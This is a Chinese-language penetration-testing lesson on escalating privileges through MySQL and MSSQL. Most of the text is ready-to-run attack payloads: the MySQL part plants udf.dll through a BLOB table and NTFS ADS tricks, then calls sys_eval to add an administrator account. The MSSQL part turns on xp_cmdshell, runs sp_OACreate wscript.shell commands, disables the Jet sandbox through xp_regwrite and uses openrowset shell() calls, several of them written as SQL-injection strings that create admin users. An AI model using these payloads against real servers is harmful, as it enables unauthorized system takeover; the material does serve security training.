#2课时

MYSQL提权

Mysql提权利用场景

1.拥有数据库账号密码

2.Webshell可以连接数据库，能够写文件

3.可操作数据库

如何获取数据库账号密码?

1.找数据库配置文件
2.通过webshell对数据库进行本地爆破
3.Hash获取mysql密码

UDF提权

udf提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后，通过数据库输出具有提权功能的文件并执行提权操作
udf简介：
user defined function，用户定义函数，为用户提供了一种高效创建函数的方式

攻击者编写调用系统cmd命令（linux下相当于调用shell命令）的udf.dll文件，并将udf.dll导出到指定目录下，攻击者创建一个指向udf.dll的自定义函数func，每次在数据库查询中执行func函数等价于在cmd命令中执行命令。

Windows2003：C:\windows\

MySQL 5.1版本后：mysql安装目录\lib\plugin\目录下

UDF提权步骤

```
1.查看是否有写权限
show global variables like 'secure%';
2.查看mysql安装路径和版本
show variables like '%char%';
select @@datadir;
Select version();
3.查看plugin是否存在
show variables like 'plugin%';
```

ADS流
在MySQL5.1以后的环境下只有将udf.dll文件导出到mysql安装目录\lib\plugin\目录下才能成功，但是很多时候mysql安装目录下并不存在lib目录，mysql文件操作也并不能直接创建目录，此时需要通过NTFS ADS流来创建目录。NTFS ADS全称为NTFS交换数据流（NTFS Alternate Data Streams），是NTFS文件系统的一个特性。NTFS文件系统中的每一个文件可以包括多个数据流，每个文件数据流的完整格式如下：

<filename>:<stream name>:<stream type>
<文件名>:<流名>:<流种类>

只有一个data流时，stream name通常可以省略，stream type也可以成为attribute type。我们通常看到的是文件的data流，其它数据流都处于隐藏状态。当attribute type为$INDEX_ALLOCATION 时，表明该该数据流的宿主是文件夹。所以可以通过 mysql 导出数据到directory_path:: $INDEX_ALLOCATION文件的方法来创建directory_path目录。

#$DATA流创建

1.创建宿主文件

```
echo "this is a test file" > test.txt
```

2.关联数据流

```
echo "this is a ads file" > test.txt:aaa:$data
```

3.查看test.txt文件，读取正常

```
type test.txt
"this is a test file"
```

4.查看流文件

```
dir /r
2021/03/05  10:26                24 test.txt
23 test.txt:aaa:$DATA
notepad test.txt:aaa
```

5.流文件无法直接删除，只能删除源文件

```
del /f test.txt
```

ADS流文件应用

```
1.创建隐藏文件
type pass.txt > song.mp3:password:$DATA

2.$INDEX_ALLOCATION流创建文件夹
echo  > hello::$INDEX_ALLOCATION
```

Mysql写文件
#写文件

```
select '111' into dumpfile 'D:\\1.txt';

select '111' into outfile 'D:\1.txt';
```

outfile函数可以导出多行，而dumpfile只能导出一行数据

outfile函数在将数据写到文件里时有特殊的格式转换，而dumpfile则保持原数据格式

#创建文件夹

```
select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
```

UDF提权
目标主机开启MySQL远程连接，并且攻击者已经获得MySQL数据库连接的用户名和密码信息，通过udf手工提权获得操作系统管理员权限。

1.创建临时表：

```
create table temp_udf(udf BLOB);
```

BLOB全称为Binary Large Objects,即大型二进制对象

2.将udf.dll二进制数据插入临时表temp_udf中，$binaryCode为udf.txt文件中复制的内容。

```
insert into temp_udf values (CONVERT($binaryCode,CHAR));
```

3.将udf.dll导出到mysql安装目录下的lib/plugin/udf.dll文件中:

```
select udf from temp_udf into dumpfile "C:/mysql/mysql-5.1.40-win32/lib/plugin/udf.dll"
```

4.创建cmdshell函数

```
create function sys_eval returns string soname 'udf.dll’
```

5.添加超级管理员

```
select sys_eval('net user udftester 123456 /add & net localgroup administrators udftester /add’)
```

6.查看命令执行结果：

```
select sys_eval('net localgroup administrators')
```

#msf自动利用

```
exploit/multi/mysql/mysql_udf_payload
```

MSSQL提权

Mssql角色用户权限

权限等级	角色	描述
1	bulkadmin	可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库
2	dbcreator	可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色
3	diskadmin	用于管理磁盘文件,比如镜像数据库和添加备份设备
4	processadmin	SQL Server 2008可以同时多进程处理.这个角色可以结束进程
5	public	初始状态时没有权限，所有数据库用户都是它的成员
6	securityadmin	管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
7	serveradmin	可以更改服务器范围的配置选项和关闭服务器
8	setupadmin	为需要管理联接服务器和控制启动的存储过程的用户而设计
9	sysadmin	这个角色有权在SQL Server 2008 中执行任何操作

Mssql常用命令

#查看数据库版本

```
select @@version

#查看数据库系统参数
exec master..xp_msver;

#查看用户所属角色信息
sp_help srvrolemember

#查看当前数据库
select db_name();

#查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限


#禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;
```

xp_cmdshell

xp_cmdshell扩展存储过程，可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串，并以文本行方式返回任何输出。

由于xp_cmdshell 可以执行任何操作系统命令，所以一旦SQL Server管理员帐号（如sa）被攻破，那么攻击者就可以利用xp_cmdshell 在SQL Server中执行操作系统命令
利用语法：

```
exec master..xp_cmdshell "dos命令"
```

SQL Server 2000中默认是开启的
SQL Server 2005及以上版本中xp_cmdshell 默认是关闭的。

如果服务未开启，执行 xp_cmdshell 将会提示类似以下的内容：
消息 15281，级别 16，状态 1，过程 xp_cmdshell，第 1 行

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程 ‘sys.xp_cmdshell’ 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。

```
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
```

1.判断用户权限

只有sysadmin组的用户才能执行xp_cmdshell

```
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--
```

2.判断是否存在xp_cmdshell

判断数据库中是否存在xp_cmdshell

```
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
```

尝试通过xp_cmdshell执行命令，检测xp_cmdshell是否启用

```
;exec master..xp_cmdshell “net user name password /add“ –
```

启用xp_cmdshell

```
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure
'xp_cmdshell',1;reconfigure;--
;exec master..xp_cmdshell "ver"--
```

添加用户

```
;exec master..xp_cmdshell "net user name password /add" --
```

添加用户到管理员组

```
;exec master..xp_cmdshell "net localgroup administrators name /add"--
```

在xp_cmdshell被删除或者出错情况下，可以充分利用SP_OACreate进行提权。

打开组件：

```
exec sp_configure 'show advanced options', 1;RECONFIGURE;

exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
```

#添加用户

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators
zhangsan /add’
```

#执行命令：

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt' --
```

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性，则可认为它是安全的

- 无法执行命令时，xp_regwrite可用
- Access执行这个命令是有条件的，需要一个开关被打开

#首先检查xp_cmdshell是否开启

```
select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'
```

#开启沙盒模式

```
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
```

SandBoxMode参数含义（默认是2）
0：在任何所有者中禁止启用安全模式
1：为仅在允许范围内
2：必须在access模式下
3：完全开启

#添加用户

```
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb'
,'select shell("cmd.exe /c net user zhangsan 121345 /add")')

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb'
,'select shell("cmd.exe /c net localgroup administrators zhangsan /add")')
```

cve-2021-42287/cve-2021-42278漏洞文章
https://github.com/WazeHell/sam-the-admin